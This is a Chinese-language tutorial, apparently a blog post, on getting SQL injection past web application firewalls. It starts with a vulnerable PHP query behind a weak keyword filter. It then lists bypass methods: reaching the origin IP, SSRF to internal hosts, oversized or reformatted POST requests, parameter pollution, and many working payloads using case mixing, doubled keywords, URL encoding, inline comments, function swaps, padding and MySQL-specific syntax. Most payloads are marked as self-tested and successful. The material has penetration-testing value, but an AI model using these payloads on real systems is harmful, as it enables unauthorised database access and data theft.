針對代碼審計,有的waf採用代碼的方式,編寫過濾函數,以下blacklist()函數所示:php
1 ........ 2 3 $id=$_GET['id']; 4 5 $id=blacklist($id); 6 7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 8 9 $result=mysql_query($sql); 10 11 $row=mysql_fetch_array($result); 12 13 .........
1 function blacklist($id){ 2
3 $id=preg_replace('/or/i',"",$id);//過濾or
4
5 $id=preg_replace('/AND/i',"",$id);//過濾AND
6
7 return $id; 8 }
策略:
(1)大小寫變形,這裏也許沒法成功,由於函數使用了正則匹配,/or/i ;所以能夠考慮重複,好比使用:OorR,就算過濾了一個or,仍然還剩一個ORmysql
(2)等價替換,將and——>&& or——>||web
(一)架構層繞WAFsql
(1)用戶自己是進入waf後訪問web頁面的,只要咱們找到web的真實IP,繞過waf就不在話下了。服務器
(2)在同網段內,頁面與頁面之間,服務器與服務器之間,經過waf的保護,而後展現給咱們,只要咱們在內部服務之間進行訪問,便可繞過waf架構
(3)邊界漏洞,一樣相似於同網段數據,咱們能夠利用已知服務器存在的ssrf漏洞,將數據直接發送給同網段的web2進行SQL注入oracle
(二)資源限制角度繞WAFapp
有的時候,因爲數據太大,會致使waf沒法將全部的數據都檢測完,這個時候會忽略掉咱們代入的sql注入語句,從而繞過waf,即:使用POST請求,對服務器請求很大資源逃逸sql注入語句。函數
(三)協議層面繞過WAFsqlserver
(1)基於協議層,有的waf只過濾GET請求,而對POST請求沒作別的限制,所以,能夠將GET型換爲POST型
(2)文件格式,頁面僅對Content-Type爲application/x-www-form-urlencoded數據格式進行過濾,所以咱們只要將Content-Type格式修改成multipart/form-data,便可繞過waf
(3)參數污染:有的waf僅對部份內容進行過濾,例如:
index.php?id=1&id=2
這樣的參數id=1,waf也許僅對前部分的id=1進行檢測,然後面的參數並不作處理。這樣咱們就能夠在id=2的後面寫入sql注入語句進行sql注入
(四)規則層面繞過
(1)首先使用比較特殊的方法進行繞過:
能夠在注入點,測試waf到底攔截的哪一部分的數據,若是是空格,能夠嘗試:/*%!%2f*/
若是是對sql的函數進行了過濾,能夠嘗試:XX() ——> XX/*%!%2f*/()
(2)如下爲常見的規則替換,部分姿式:
如下爲總結方式:
(3)大小寫
select * from users where id='1' uNioN SeleCt 1,2,3;
(4)替換關鍵字(關鍵字重複)
select * from users where id=1 ununionion selselectect 1,2,3;
(5)編碼
select * from users where id=1 union%0Aselect%0A1,2,3;//自測成功,但%2b不成功
select * from users where id=1 %75nion select 1,2,3;//自測成功,繼續加油
(6)內聯註釋
select * from users where id=1 union/**/select/**/1,2,3;//自測成功,繼續加油
(7)等價函數替換
version()——> @@version
mid :mysql從第五位字符串開始截取,直到最後
從第三個字符串開始截取,截取三位
substr :oracle、mysql、sqlserver
從第三個字符串開始截取,直到最後
從第二個字符串開始截取,截取五個字符
substring :mysql、sqlserver
從第三個字符串開始截取,直到最後@@datadir ——> datadir()
select * from users where id=1 union select (mid(user(),5,3)),2,3;//自測成功,繼續加油
(8)特殊符號
+ # ——>%23(#) --+(註釋符) \\\\ `(上引號) @
select * from users where id=1 union+select+1,2,3;//自測成功,繼續加油
(9)內聯註釋加!
select * from users where id=1 /*!union*/select 1,2,3;//自測成功,繼續加油
(10)緩衝區溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自測成功,繼續加油
0xA*1000 指的是0XA後面的 "A" 重複1000次
通常來講對應用軟件構成緩衝區溢出都須要比較大的測試長度
這裏1000僅供參考,在一些狀況下也能夠更短
(11)mysql特性繞過
1.= 等於
:= 賦值
@ @+變量名可直接調用
select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自測可用,繼續加油,root
select * from users where id=1 union select @,2,3;//NULL
(12)黑魔法
{x user} {x mysql.user}
select{x user}from{x mysql.user};//自測成功,繼續加油,root